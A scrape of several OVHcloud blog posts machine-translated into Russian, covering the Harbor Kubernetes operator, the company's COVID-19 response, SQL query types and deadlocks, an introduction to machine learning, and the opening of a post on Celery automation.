Управление Harbour в облачном масштабе: история Harbour Kubernetes Operator

Недавно наша команда контейнерных платформ сделала нашу услугу «Частный управляемый реестр» общедоступной. В этом сообщении блога мы объясним, почему OVHcloud выбрал основу для этой службы на проекте Harbour, построил для него оператор Kubernetes и открыл его исходный код в рамках проекта CNCF goharbor.



Необходимость частного реестра S.MART

После выпуска нашей управляемой службы Kubernetes мы получили много запросов на полностью управляемый частный реестр контейнеров.

Хотя реестр контейнеров для размещения образов может показаться довольно тривиальным для развертывания, наши пользователи упомянули, что решение для реестра производственного уровня является важной частью цепочки поставки программного обеспечения и на самом деле его довольно сложно поддерживать.

Наши клиенты просили решение корпоративного уровня, предлагающее расширенный контроль доступа на основе ролей и безопасность, поскольку опасения по поводу уязвимостей в общедоступных образах возросли, а требования к доверию к контенту стали необходимостью.

Пользователи регулярно хвалили пользовательский интерфейс таких сервисов, как Docker Hub, но в то же время запрашивали сервис с высокой доступностью и поддерживаемый SLA.

Идеальное сочетание набора функций с открытым исходным кодом и корпоративного уровня

Изучив перспективы точной настройки нашего набора функций и модели ценообразования, мы искали лучшие существующие технологии, чтобы поддержать его, и остановились на инкубационном проекте CNCF Harbor (подаренном CNCF компанией VMWare). Помимо того, что Harbour является одним из немногих проектов, достигших инкубационного состояния CNCF, что подтверждает твердую приверженность сообщества, он также стал ключевой частью нескольких коммерческих решений для контейнеризации предприятий. Мы также высоко оценили подход, принятый Харбором: не изобретать колесо заново, а использовать лучшие в своем классе технологии для таких компонентов, как сканирование уязвимостей, доверие к контенту и многие другие. Он использует мощную сеть проектов с открытым исходным кодом CNCF и обеспечивает высокий уровень качества UX.



Пришло время использовать эту технологию 10k-GitHub-stars и адаптировать ее к нашему конкретному случаю: управление десятками тысяч реестров для наших пользователей, каждый из которых имеет определенный объем образов контейнеров и шаблонов использования.

Конечно, высокая доступность (интеграция и развертывание программного обеспечения клиентов зависит от этой услуги), но и надежность данных не обсуждались для нас.

Кроме того, Kubernetes для обеспечения высокой доступности сервисов без сохранения состояния и хранилища объектов (на основе Openstack Swift и совместимость с S3 API ) был очевидным выбором для проверки этих требований.

Решение операционных проблем в масштабе облачного провайдера

В течение нескольких недель мы открыли сервис в публичной бета-версии, быстро привлекая сотни активных пользователей. Но с этим всплеском трафика мы, естественно, столкнулись с первыми узкими местами и проблемами производительности.

Мы обратились к группе пользователей и команде Harbour, которые любезно указали нам на возможные решения, и после некоторых небольших, но важных изменений в том, как Harbor обрабатывает соединения с базой данных, наши проблемы были решены. Это укрепило нашу веру в то, что сообщество Harbour твердо и привержено здоровью проекта и требованиям его пользователей.

Поскольку наш сервис процветал, не было реальных инструментов, позволяющих легко приспособить жизненный цикл экземпляров Harbour. Наша приверженность экосистеме Kubernetes сделала концепцию оператора Harbour для Kubernetes интересным подходом.

Мы обсудили с сопровождающими Harbour, и они тепло приветствовали нашу идею разработать его и открыть исходный код в качестве официального оператора Harbour Kubernetes. OVHcloud очень гордится тем, что проект теперь доступен в проекте goharbor GitHub под лицензией Apache 2. Этот проект — еще один пример нашей твердой приверженности открытому исходному коду и нашей готовности внести свой вклад в проекты, которые нам нравятся.

Универсальный оператор, разработанный для любого развертывания в гавани

Читатели, знакомые с проектом Harbour, могут задаться вопросом, какое значение этот оператор привносит в текущий каталог развертываний, включая версию Helm Chart, поддерживаемую проектом.

Шаблон проектирования оператора быстро становится популярным и имитирует ориентированный на приложения контроллер, который расширяет Kubernetes для управления более сложными приложениями с отслеживанием состояния. Проще говоря, он предназначен для разных сценариев использования, чем Helm. В то время как диаграмма Helm предлагает универсальный установщик, который также будет развертывать различные зависимости Harbor (база данных, кеш и т. Д.) Из образов Docker с открытым исходным кодом, другие предприятия, операторы услуг и облачные провайдеры, такие как мы, захотят выбрать и -выбрать услугу или технологию, лежащую в основе этих компонентов.

Мы также стремимся расширить возможности текущего оператора v0.5 для управления полным жизненным циклом Harbour, от развертывания до удаления, включая масштабирование, обновления, обновления и управление резервным копированием.

Это поможет производственным пользователям достичь целевого SLO, получить выгоду от управляемых решений или существующих кластеров баз данных, которые они уже обслуживают.

Мы разработали оператор (используя платформу OperatorSDK), чтобы как дополнительные модули Harbor (хранилище Helm Chart, сканер уязвимостей и т. Д.), Ни зависимости (серверная часть хранилища реестра, относительные и нереляционные базы данных и т. Д.) Могли легко соответствовать вашему конкретному варианту использования.

Упрощенная архитектура службы управляемого частного реестра OVHcloud'd

Вклад в проект Harbor и оператора

У нас уже есть план действий с сопровождающими Harbour для дальнейшего обогащения оператора, чтобы он мог включать не только фазы развертывания и уничтожения (например, сделать обновления версии Harbour более элегантными). Мы надеемся стать неотъемлемой частью проекта и продолжим инвестировать в Harbour.

С этой целью Жереми Монсинжон и Пьер Перонне также были приглашены в качестве сопровождающих в проекте Harbour с упором на goharbor / оператора.

В дополнение к регулярному участию в нескольких проектах, которые мы используем в OVHcloud, команда контейнерных платформ также работает над другими крупными выпусками с открытым исходным кодом, такими как официальный облачный контроллер OVHcloud для самоуправляемого Kubernetes, который мы планируем выпустить в конце 2020 года.

Скачать Harbour or the Harbour Operator: официальное репозиторий Harbour Github — www.github.com/goharbor

Узнайте больше о гавани: Официальный сайт гавани — goharbor.io/

COVID ‑ 19 - Одна команда - одна компания - #Open_solidarity

С тех пор, как 30 января была объявлена ​​пандемия COVID-19, мы внимательно наблюдаем за развитием ситуации во всем мире. Сегодня, в зависимости от руководящих принципов, изданных руководящими органами здравоохранения, наша компания управляет местными ситуациями во всех регионах, где у нас есть команды. Мы делаем это, чтобы гарантировать безопасность наших сотрудников, а также гарантировать непрерывность ваших услуг. Мы призываем всех следовать рекомендациям общественных организаций, а также национальных и международных властей. Простые меры профилактики, такие как соблюдение правил личной гигиены, являются эффективным способом защиты себя и других от инфекции. Мы должны проявлять солидарность и сохранять бдительность — вместе мы будем работать над поиском решений для противодействия этому беспрецедентному глобальному кризису.



Гарантия здоровья и безопасности всех сотрудников — приоритет OVHcloud

Как только ВОЗ классифицировала COVID-19 как эпидемию, мы начали усиление профилактических мер. Мы приостановили деловые поездки и повысили осведомленность о личной гигиене и технике безопасности на наших сайтах.

Чтобы защитить себя и других граждан, мы приняли решение заставить всех работать из дома (за исключением сотрудников центров обработки данных и заводов) на всех сайтах OVHcloud по всему миру. Все наши площадки будут закрыты на этой неделе, кроме производственной площадки (для которой мы изменили смены, чтобы свести взаимодействие сотрудников к минимуму) и центров обработки данных. Мы осознаем, что, защищая наших сотрудников, мы делаем все от нас зависящее, чтобы предотвратить более широкое распространение вируса.

Обеспечение непрерывности обслуживания для наших клиентов



Наши команды прилагают все усилия, чтобы поддержать вас в лучших условиях. Как следствие, мы внедряем планы обеспечения непрерывности бизнеса. Нашим приоритетом является обеспечение высококачественных операционных услуг, которые необходимы для всей деятельности наших клиентов — как для вашего бизнеса, так и в более стратегическом национальном масштабе. Мы намерены применять это во всем мире, где бы мы ни присутствовали. Наша группа поддержки клиентов также работает удаленно из дома и будет готова ответить на запросы поддержки в обычном режиме. Эта система, которая действует уже 2 недели в Италии, теперь развернута во всех странах, не влияя на качество обслуживания. Мы также защищаем сотрудников в наших центрах обработки данных, усиливая профилактические меры на местах. Сегодня все операции по обслуживанию центров обработки данных и серверов можно выполнять в обычном режиме. Наша инфраструктура способна использовать полосу пропускания 20 Тбит / с, и по этой причине мы не думаем, что этот кризис повлияет на качество услуг, которые мы вам предлагаем. Мы работаем в тесном контакте с нашими поставщиками и не ожидаем возникновения каких-либо проблем с предоставлением ресурсов для будущих поставок, необходимых для производства наших собственных серверов.«Команды OVHcloud работают исключительно на высоком уровне, — объясняет Мишель Полен.

Участие в усилиях: открытая солидарность

Чтобы бороться с кризисом в сфере здравоохранения, многие компании солидарны друг с другом, предлагая решения для удаленной работы, совместной работы и хостинга для здравоохранения. Учитывая серьезность ситуации и самоизоляцию, требуемую во многих странах, мы можем ожидать, что эти решения будут пользоваться очень большим спросом. Такие концепции, как помощь друг другу и совместная работа как сообщество, являются фундаментальными ценностями OVHcloud, и они претворяются в жизнь нашим основателем — Октавом Клаба — и генеральным директором Мишелем Поленом. В результате OVHcloud решила сделать все возможное, чтобы предлагать бесплатные инфраструктуры без каких-либо обязательств на время кризиса COVID-19. Цель этого — помочь и поддержать всплески трафика для веб-сайтов, относящихся к этим секторам бизнеса.



« #Open_solidarity. Эта инициатива представляет собой коллективный открытый акт цифровой солидарности, цель которого — сделать надежные технические решения более доступными, предлагая их бесплатно в инфраструктурах OVHcloud. Для этого OVHcloud бесплатно предоставляет решения для веб-облака, «голого железа», частного облака и общедоступного облака на протяжении всего периода кризиса — и это касается издателей программного обеспечения, стартапов и поставщиков общедоступных услуг. Таким образом, они могут также предложить бесплатную удаленную работу, связь, здравоохранение и другие решения для малых и средних предприятий и частных лиц ».

Мишель Паулен, генеральный директор OVHcloud

«OVHcloud находится в стратегическом секторе. Сегодня облако стало важной инфраструктурой, которая заставляет мир вращаться — так же, как воздух, вода и электричество. В свете этого беспрецедентного кризиса в сфере здравоохранения наша повседневная жизнь и наши свободы серьезно пострадали. В ближайшие несколько месяцев цифровые услуги будут пользоваться большим спросом, потому что они предлагают ряд решений для преодоления самоизоляции, необходимой в этой ситуации. В совокупности нам необходимо умножить инициативы, чтобы сделать все эти решения видимыми и доступными для всех. Открытая солидарность — это гарантия того, что бесплатная инфраструктура может быть расширена для удовлетворения спроса. Это инициатива солидарности, единственная цель которой — предлагать и делиться опытом OVHcloud с нашим сообществом ».

Октав Клаба, основатель OVHcloud

Объясняя медленные запросы моему менеджеру

В нашей предыдущей записи блога о наблюдаемости мы объяснили, как построить комплексное представление о том, как ведут себя ваши рабочие нагрузки SQL, и о многих причинах, почему важно иметь это представление. В этом сообщении блога мы более подробно рассмотрим четыре типа SQL-запросов и то, как они могут повлиять на работу конечного пользователя.



Прежде чем идти дальше, давайте резюмируем, что это за четыре типа запросов:

  • Выбрать для чтения данных
  • Вставка предназначена для добавления данных
  • Обновление предназначено для изменения данных, которые уже существуют
  • Удалить для удаления данных

my-database=# select * from customers where nic = XXX;
my-database=# insert into customers values (1, 'user-firstname', 'user-lastname', '21');
my-database=# update customers set address = 'xxx xxx' where nic = 'XXX';
my-database=# delete from customers where nic = XXX


Когда дело доходит до рабочих нагрузок SQL, существует два разных типа: OLTP и OLAP .

Рабочие нагрузки OLTP

OLTP (для O н L ине Т ransactional Р rocess) рабочие нагрузки соответствуют «органической» использованием баз данных. Эти операции используются для более эффективного использования баз данных веб-сайтов, API-интерфейсов, платформ электронной коммерции и т. Д. В то время как OLAP полагается исключительно на чтение, рабочие нагрузки OLTP полагаются на все типы запросов, включая выбор, вставку, обновление и удаление. В OLTP мы хотим, чтобы запросы отвечали как можно быстрее, обычно менее чем за несколько сотен миллисекунд. Причина этой потребности в скорости состоит в том, чтобы уменьшить влияние запросов на взаимодействие с пользователем вашего приложения. В конце концов, кто любит веб-сайты, которые загружаются бесконечно? Что касается количества запросов, мы обычно считаем их тысячами в секунду.

my-database=# insert into cart values (...); -- create a new cart
my-database=# insert into cart_content values (...); -- add items
my-database=# update cart_content set ... where ...; -- modify your cart
my-database=# select item_name, count from cart_content where ...; -- check the content
my-database=# insert into sales values (...); -- validate the cart


Рабочая нагрузка OLAP

OLAP (для O н L INE A nalytic P rocess) рабочие нагрузки используются для извлечения и анализа больших объемов данных (отсюда и название). Они являются основным инструментом, используемым программными платформами бизнес-аналитики для составления прогнозов и отчетов. Что касается запросов, рабочие нагрузки OLAP обычно полагаются исключительно на несколько избранных, которые периодически выполняются и могут занять много времени (от минут до часов).

Как видите, рабочие нагрузки OLTP и OLAP очень разные. Их сравнение похоже на сравнение гоночного автомобиля (OLTP, надеюсь) с грузовиком (OLAP).

Классифицирующие запросы: хорошие, плохие, уродливые… и медленные

Теперь, когда у нас есть общее представление о двух типах рабочих нагрузок, давайте сосредоточимся на OLTP, поскольку они обычно наиболее актуальны для частей ваших платформ, ориентированных на клиентов. В начале этого поста я описал четыре различных типа SQL-запросов с точки зрения их назначения. Теперь мы классифицируем их по поведению: хорошее, плохое, уродливое и медленное. Что это значит, спросите вы? Разрешите пояснить (спойлер: вы хотите, чтобы ваши запросы попадали в категорию «хорошо»)…



Добро

Как и следовало ожидать, хорошие запросы — это те, которые выполняются должным образом и отвечают относительно быстро. В OVHcloud мы определяем «быстро» как время отклика менее одной секунды для наших внутренних баз данных. Но одна секунда — это еще долгое время для ожидания ответа, особенно когда выполняется несколько запросов для загрузки одной веб-страницы. Обычно мы стремимся к 10-20 мс. Вы должны нарисовать эту «быструю линию» в зависимости от ваших настроек, ресурсов и предполагаемого использования.

Ваш бэкэнд запросит базу данных и получит ответ, скажем, через 20 мс, что оставит достаточно времени для обработки данных и отправки результата. Чем быстрее будут выполняться ваши запросы, тем счастливее будут ваши клиенты и начальник.

Когда я хочу объяснить своему боссу, почему быстрые запросы хороши, это довольно просто: быстрые запросы означают хорошее взаимодействие с пользователем, быстрый заказ, быструю оплату и большую прибыль.

my-database=# select firstname, lastname from customers where id = 123;


Плохо

С другой стороны, плохие запросы — это запросы, которые не могут быть выполнены СУБД. Причин может быть несколько: ошибка в коде, отсутствие контроля где-то в процессе и т. Д.

Возьмем пример. На вашем веб-сайте есть форма, в которой пользователи могут создать учетную запись, в которой они указывают свой возраст. В пользовательском интерфейсе текстовое поле позволяет пользователю вводить все, что он хочет, и передавать значение в виде строки. Но если ваша схема хорошо спроектирована, в поле «возраст» должно быть указано целое число. Таким образом, если пользователь пытается ввести свой возраст в виде строки в поле, а не числа, СУБД должна вернуть ошибку. Решение простое: форма пользовательского интерфейса должна проверять тип данных, заполненных в поле, и возвращать сообщение об ошибке, например «недопустимые данные», в интерфейсе пользовательского интерфейса, вместо того, чтобы ждать, пока СУБД сделает это. В подобных случаях рекомендуется разрешать только числа.

my-database=# insert into user values (1, 'user-firstname', 'user-lastname', 'twenty years old');
ERROR:  invalid input syntax for integer: "twenty years old"


Вы можете исправить этот тип «плохого» запроса, добавив больше контроля через цепочку, используя правильный тип в пользовательском интерфейсе, с проверками во внешнем интерфейсе, промежуточном программном обеспечении, серверной части и т. Д.

Моему боссу я бы объяснил, что неверные запросы являются препятствием для клиентов, желающих использовать ваш сервис, и приводят к потере прибыли. Однако из-за их простой природы их обычно относительно легко отлаживать.

Уродливый

Уродливые запросы более проблематичны. Это запросы, которые иногда работают, а иногда нет из-за тупиковых ситуаций.

Тупики — обширная тема, но пока давайте будем простыми. Тупиковая ситуация возникает, когда несколько запросов ждут завершения друг друга. Давайте посмотрим на следующий пример:

-- STEP #1
process 1: BEGIN; -- this will start the transaction
process 2: BEGIN;
 
-- STEP #2
process 1: UPDATE stock SET available = 10 WHERE id = 123; -- lock row 123
process 2: UPDATE stock SET available = 0 WHERE id = 456; -- lock row 456
 
-- STEP #3 The ugly part starts now
process 1: UPDATE stock SET available = 1 WHERE id = 456; -- wait for lock on row 456
process 2: UPDATE stock SET available = 9 WHERE id = 123; -- wait for lock on row 123


Мы видим, что у нас есть два процесса, пытающихся обновить запас в рамках транзакции. Процессы №1 и №2 блокируют разные строки. Процесс №1 блокирует строку 123, а процесс №2 блокирует строку 456 на этапе 2. На этапе 3, не снимая блокировки с текущей строки, процесс №1 пытается получить блокировку для строки 456, которая уже принадлежит процесс №2, и наоборот. Чтобы завершить транзакцию, они оба ждут друг друга. Я выбрал простой пример с двумя запросами, но эта проблема может возникнуть с десятками или тысячами запросов одновременно. Общие правила при работе с транзакциями — совершать их как можно быстрее.

Сложность заключается в том, что запрос может быть совершенно правильным и работать большую часть времени, особенно в вашем конвейере CI / CD, где угловые случаи и редкие события не обязательно выявляются и тестируются. Но чем больше растет ваш бизнес, тем выше вероятность возникновения этих редких событий, поскольку вы увеличиваете количество выполняемых одновременно запросов. И, к сожалению, наиболее вероятно, что проблемы с тупиками возникают во время пиков нагрузки, вызванных продажами, праздниками и т. Д. Другими словами, именно тогда, когда вам нужно, чтобы ваш рабочий процесс работал идеально.

Чтобы объяснить это своему боссу, я бы сказал, что когда происходит взаимоблокировка, что-то не так в серверной части, в схеме базы данных или в самой логике рабочего процесса. В худшем случае проблема возникнет в самый неудобный момент, поэтому клиент не сможет взаимодействовать с вашей системой и даже не получит понятное сообщение об ошибке, которое будет сложно исправить. Чтобы понять, отладить и исправить тупиковые ситуации, нужно время. К тому времени, как вы предложите исправление, ваши клиенты будут тратить свои деньги в другом месте, или ваша поддержка будет рушиться из-за билетов и звонков.

process 34099 detected deadlock while waiting for ShareLock on transaction 4026716977 after 1000.042 ms
DETAIL: Process holding the lock: 34239. Wait queue: .
CONTEXT: while locking tuple (259369,24) in relation "table"
STATEMENT: SELECT col from table where ...


Ваша любимая СУБД в конечном итоге убьет все запросы, но только по истечении заданного времени ожидания. И, конечно же, тайм-аут означает, что ваши клиенты будут ждать результата, прежде чем выдаст ошибку. Ага, это некрасиво…

И медленный…

Наконец, как вы, наверное, догадались, медленные запросы — это запросы, выполнение которых требует времени. Их очень легко описать, но не так-то просто исправить, и их нужно постоянно улучшать. Вот несколько распространенных причин медленных запросов:

  • Плохо написанные запросы (а в продукте этого нет?)
  • Отсутствующие индексы
  • Получено слишком много строк
  • Слишком много данных для обработки

В этом случае моему боссу объяснения не нужны. Медленные запросы означают более медленные вызовы API, более медленный пользовательский интерфейс и меньшее количество клиентов, достигающих стадии оформления заказа.

Исправление может быть простым: переписать запросы, найти и добавить недостающие индексы и получить только то, что необходимо. Однако уменьшить объем данных, которые должны проходить ваши запросы, немного сложнее. Это можно сделать с помощью регулярных чисток в вашей БД, архивирования, разбиения на разделы и т. Д. Но на практике вы должны хранить только актуальные и актуальные данные в ваших клиентских базах данных, чтобы избежать раздувания.

Вывод

Подведем итоги и подведем итоги:

  • Хорошие запросы — признак здоровой рабочей нагрузки. Чем больше у тебя есть, тем лучше
  • Плохие запросы означают, что где-то что-то сломано
  • Уродливые запросы ждут худшего момента, чтобы дать вам пощечину
  • Медленные запросы означают, что у вас что-то работает, но есть возможности для улучшения

И последний совет… это не разовая работа. Вам нужно внимательно следить за этими четырьмя категориями запросов.

Вот и все, ребята! Теперь вы знаете достаточно, чтобы копаться в своих приложениях и базах данных, чтобы постоянно улучшать свои рабочие нагрузки. В конечном итоге на ваших клиентов влияют все четыре категории, поэтому я уверен, что вы знаете, почему вам нужны только хорошие запросы в своих информационных системах!

Машинное обучение: от идеи к реальности

Поскольку в настоящее время вы читаете сообщение в блоге технологической компании, держу пари, что вы уже слышали об искусственном интеллекте и машинном обучении десятки раз в этом месяце.



И это прекрасно понятно! Здоровье, реклама, азартные игры, страхование, банковское дело, электронная коммерция… что угодно. За шумихой скрывается реальность, и мы можем с уверенностью сказать, что теперь любой сектор может эффективно использовать машинное обучение.

Но как это работает? Это сложно на начальном этапе? Какие ресурсы для этого требуются?

Как и многие компании, вы, возможно, уже планируете использовать машинное обучение в 2020 году и задаетесь вопросом, с какими проблемами вы столкнетесь, когда начнете работу. Что ж, давайте узнаем вместе!

Но… что скрывается за машинным обучением?



Искусственный интеллект — и его подкатегория, машинное обучение — это быстрорастущие науки, в которых мы только начинаем работать.

Многое еще предстоит открыть, поэтому знания и инструменты развиваются быстрыми темпами, что может привести к противоречивым аргументам.

«Нет-нет для статистики…»

«Это не для нас… Мы небольшая компания…»


Я слышал такие реплики довольно часто. Блин, а они были правы? Что на самом деле происходит за кулисами?

Давайте проведем параллель с повседневной ситуацией… Все люди учатся естественно. Мы рождены с когнитивными функциями, которые помогают нам в этом каждый день. Выслушав своих родителей, 2–3-летний ребенок сможет определить положительное или отрицательное предложение. Он основан на нескольких параметрах, включая интонацию голоса, внешний вид, сами слова, контекст… То же самое происходит чуть позже со словами. После прочтения предложений в книге ребенок в возрасте от 5 до 6 лет должен уметь распознавать позитив и негатив.

Представьте, что вы хотите имитировать этот анализ настроений с помощью компьютера. Хороший способ начать — взять большой набор слов с соответствующими показателями положительности / отрицательности (мы можем назвать это «набором данных»).

Затем вы можете начать обнаруживать некоторые закономерности. Например, слово «круто» часто встречается, когда предложение помечено как положительное.

А что, если вместо слов вы захотите обнаружить закономерность в полных предложениях с учетом эмодзи, языка и т. Д. И выполнить это на очень больших наборах данных? Вы можете добиться этого без машинного обучения, но это может быть сложно.

Для достижения этой цели машинное обучение будет использовать мощность множества компьютеров и определенного программного обеспечения в соответствии с этим классическим рабочим процессом:



Первый шаг — получить чистые и полезные данные, называемые здесь «обучающими данными». В нашем предыдущем примере он состоит из классифицированных слов / предложений с оценкой тональности. Это одна из самых сложных частей процесса (получение актуальных и важных данных).

Если у вас есть данные, вы можете использовать специальную программную платформу для машинного обучения, такую ​​как библиотеки Python, Pandas или Scikit-Learn, или студию искусственного интеллекта с визуальными интерфейсами, чтобы «учиться». Этот шаг потребует много энергии (вычислений), так как он будет пробовать различные статистические подходы, чтобы найти лучшие шаблоны.

Как только вы найдете наиболее подходящий шаблон, он сгенерирует то, что мы называем «моделью машинного обучения».

Как только вы его получите, эта модель сможет делать прогнозы. Если вы поместите новые данные в эту модель («вход» в схеме), будет сделан прогноз, дающий вам некоторые результаты. Впоследствии, чтобы оставаться в курсе, вам, возможно, придется периодически переобучать модель, используя более точные данные, новые алгоритмы и т. Д.

Этот вид процесса был ракетостроением несколько лет назад, но сегодня, поскольку требуемая мощность гораздо более доступна, благодаря поставщикам облачных услуг и достижениям в инструментах обработки данных, его можно реализовать с очень низкими затратами.

«Но… поскольку язык моей страны одинаков для всех компаний, может быть, я найду заранее созданную модель машинного обучения, которую смогу использовать для анализа настроений?»

Это дух! Для базовых проектов, в которых не требуется настройка, вы можете найти множество готовых решений. Навыки науки о данных не требуются, поскольку эти модели создаются сторонними организациями. Если у вас есть возможность использовать API, вы сможете их использовать. А если вы хотите попробовать несколько забавных моделей бесплатно, вы можете изучить рынок искусственного интеллекта OVH Labs ( market-place.ai.ovh.net/).

Подводя итог: независимо от размера вашей компании, машинное обучение может удовлетворить ваши потребности и принести реальную пользу. Он основан на инструментах статистики, но имеет несколько иные концепции и те же цели. Сегодня, благодаря участникам с открытым исходным кодом, вы можете найти множество готовых программных инструментов для машинного обучения, но когда вам нужна большая точность, это потребует некоторых навыков в области науки о данных.

Итак… Как машинное обучение может помочь вашей компании в повседневной жизни?

Даже не зная об этом, вы каждый день получаете пользу от машинного обучения в больших масштабах. У вас есть учетная запись электронной почты с функцией фильтрации спама? Машинное обучение. Вы смотрели Netflix и получили хорошие рекомендации? Машинное обучение. Вы использовали Waze, чтобы избежать пробок сегодня утром? Машинное обучение.

Если крупные компании используют его ежедневно, рост малых и средних компаний впечатляет.

Прежде всего, существует огромная разница между использованием программного обеспечения, которое уже оборудовано для машинного обучения, и разработкой собственного проекта машинного обучения.

Вот несколько простых реальных примеров, которые можно было бы развернуть за несколько шагов с помощью готовых решений (наука о данных не требуется!):

  • Анализ настроений в социальных сетях вашего бренда, таких как Twitter и Facebook ( « На этой неделе, 67% людей говорили о нас положительно . « )
  • Обнаруживать наготу на изображениях, загруженных на форумы, блоги, сообщества…
  • Обнаруживать ненавистные тексты в комментариях, обзорах продуктов…
  • Найдите объекты на изображениях и пометьте их (полезно для классификации продуктов и для SEO)

Использовать его так же просто, как этот пример кода для обнаружения объектов на изображениях (Python, Go, Java… даже PHP может его использовать):

curl -X POST «api-market-pl

curl -X POST "https://api-market-place.ai.ovh.net/image-recognition/detect" -H "accept: application/json" -H "X-OVH-Api-Key: XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX" -H "Content-Type: application/json" -d '{"url":"https://mywebsite.com/images/input.jpg", "top_k": 2}'


Результаты будут представлены с оценкой вероятности:



Более сложные варианты использования, такие как прогнозирование ваших запасов или доходов, обнаружение мошенничества и борьба с ним, или прогнозирование отключений и планового обслуживания, потребуют дополнительных знаний.

Каждой компании предстоит изучить несколько факторов. Вы можете попробовать готовые сервисы, но их точность не обязательно оправдает ваши ожидания.

Если это звучит знакомо, вас очень заинтересует следующая глава…

Извилистый путь к точным результатам

Как только вы перепрыгнете через мысленную пропасть сложности машинного обучения, вам придется встретиться и победить других монстров.

Здесь, вместо того чтобы использовать готовые решения, мы будем делать это сами…

Создание модели машинного обучения: теория



И… реальность для специалиста по данным


Мы встречаемся с компаниями и клиентами из разных областей, и каждый раз, когда мы обсуждаем с ними машинное обучение, никаких сюрпризов. Это всегда одни и те же болевые точки, которые можно резюмировать следующим образом:

  1. Идеи, отбор проектов и внутреннее наблюдение ( «Вы уверены, что этот проект машинного обучения принесет пользу?» )
  2. Проблемы с данными: недостаточно данных, предвзятость в данных, конфиденциальные данные…
  3. Отсутствие опыта в области науки о данных
  4. Точность модели (т.е. полученные вами результаты нельзя использовать)
  5. Переход от прототипа к производству: развертывание, масштабирование, управление версиями и т. Д.
  6. Бюджет

Шаг 1. Выбор идей / проектов и внутреннее сопровождение. Сначала это может показаться довольно простым, но все же критически важным. Специалисты по обработке данных не обладают знаниями в области маркетинга, здравоохранения или финансов, поэтому варианты использования должны исходить от конечных пользователей, а не от вашего ИТ-отдела.

Кроме того, этим запросчикам необходимо правильно определить свои потребности, а затем точно следовать проектам. Всегда просите их объяснить, чего они хотят достичь, когда у них будут ваши прогнозы.

Для крупных компаний необходим руководитель проекта на стороне конечного пользователя.

Шаг №2 . Проблемы с данными . Это часто решается путем правильного определения того, что мы ищем (например, шаг №1), а затем экспорта данных и их проверки вручную, где это возможно. Вы можете, например, проверить свои продажи и запасы, чтобы убедиться, что вы не пропустили данные. Если вам нужно продолжить очистку данных и измерение объема, это можно сделать вручную (со временем) или с помощью специальных инструментов, таких как OVHcloud AutoML, студии науки о данных, такие как Dataiku (которая доступна в бесплатной версии) или Apache Spark для обработки данных.

Но не только инструменты, но и понимание ваших данных является здесь основой.

Шаг №3 и №4 . Недостаток знаний в области науки о данных и точности моделей . Эти проблемы изначально могут быть решены путем сотрудничества с вашими партнерами. Например, в этой области сейчас специализируются многие консалтинговые фирмы, и это касается не только крупных компаний. И не забывайте, что вы также можете использовать готовые решения для начальных тестов, такие как те, которые доступны через OVHcloud AI Marketplace, поскольку это не потребует каких-либо навыков в области анализа данных.

Еще один вариант для изучения — это обучение некоторых из ваших сотрудников. Как мы уже упоминали ранее, программные инструменты и библиотеки теперь доступны широким массам, и, поскольку машинное обучение сегодня весьма интересно, вы можете легко найти добровольцев. Доступны онлайн-курсы обучения, такие как datacamp.com, openclassrooms.com, или обучающие видео от Udemy, Coursera или Pluralsight. Просто имейте в виду, что для этого потребуются статистика, алгебра и навыки общения, а не только программирование.

Шаг №5 . Теперь с OVHcloud перейти от прототипа к производству можно всего за две минуты! Мы только что выпустили новый инструмент под названием OVHcloud Serving Engine , который позволяет развертывать модели в нашем общедоступном облаке и доступен бесплатно на этапе раннего доступа.

Мы также развернули предварительно обученные модели для анализа настроений на французском и английском языках. Не стесняйтесь опробовать их в нашей панели управления публичным облаком!

Шаг №6. Бюджет. Честно говоря, вы можете начать заниматься машинным обучением на собственном ноутбуке. После этого вы можете использовать облачные ресурсы для обучения, но получение некоторых начальных результатов не будет вам дорого стоить. После того, как вы доказали, что результаты достижимы при небольшом бюджете, увеличение бюджета следует рассматривать как вложение, а не как затраты. Вы всегда можете делать это постепенно, поскольку облако изначально работает именно так — вы платите только за то, что потребляете.

Вывод

Я надеюсь, что после прочтения этого сообщения в блоге вы будете более уверены в изучении машинного обучения в этом году! OVHcloud впервые начал изучать эти темы пять лет назад и с тех пор приобрел много знаний в этой области. Сегодня мы лучше можем создавать инструменты и услуги нашей мечты, а затем предоставлять их вам. После выпуска нашей AI Studio и AI Marketplace мы будем сопровождать вас от НИОКР до производства с помощью механизма обслуживания OVHcloud.

Я рекомендую вам прочитать об этом в нашем следующем блоге! Будьте на связи…

Делаем БОЛЬШУЮ автоматизацию с помощью Celery

Вступление

TL; DR: вы можете пропустить вступление и сразу перейти к «Celery — Distributed Task Queue».



Здравствуйте! Меня зовут Бартош Рабьега, я работаю в команде R & D / DevOps в OVHcloud. В рамках нашей повседневной работы мы разрабатываем и поддерживаем проект Ceph-as-a-Service, чтобы обеспечить надежное распределенное хранилище высокой доступности для различных приложений. Мы имеем дело с более чем 60 ПБ данных в 10 регионах, поэтому, как вы можете себе представить, у нас впереди довольно много работы с точки зрения замены вышедшего из строя оборудования, обработки естественного роста, предоставления новых регионов и центров обработки данных, оценки нового оборудования, оптимизация конфигураций программного и аппаратного обеспечения, поиск новых решений для хранения данных и многое другое!



Из-за большого объема нашей работы нам нужно разгрузить как можно больше повторяющихся задач. И мы делаем это с помощью автоматизации.

Автоматизация вашей работы

В некоторой степени каждый ручной процесс можно описать как набор действий и условий. Если бы нам каким-то образом удалось заставить что-то автоматически выполнять действия и проверять условия, мы могли бы автоматизировать процесс, что привело бы к автоматизированному рабочему процессу. Взгляните на пример ниже, в котором показаны некоторые общие шаги по ручной замене оборудования в нашем проекте.



Хм… Что может помочь нам сделать это автоматически? Разве компьютер не кажется идеальным?

Сельдерей — распределенная очередь задач

Celery — это хорошо известное и широко используемое программное обеспечение, которое позволяет нам обрабатывать задачи асинхронно. Описание проекта на его главной странице ( www.celeryproject.org/ ) может показаться немного загадочным, но мы можем сузить его базовую функциональность до примерно следующего:



Такой механизм идеально подходит для таких задач, как асинхронная отправка электронных писем (например, «запустил и забыл»), но его также можно использовать для различных целей. Так с какими еще задачами он справился? В принципе, любые задачи можно реализовать на Python (основном языке Celery)! Я не буду вдаваться в подробности, поскольку они доступны в документации по Celery. Важно то, что, поскольку мы можем реализовать любую задачу, которую захотим, мы можем использовать ее для создания строительных блоков для нашей автоматизации.

Есть еще одна важная вещь… Celery изначально поддерживает объединение таких задач в рабочие процессы (примитивы Celery: цепочки, группы, аккорды и т. Д.). Итак, давайте рассмотрим несколько примеров…

Мы будем использовать следующие определения задач — одиночная задача, печать аргументов и kwargs:

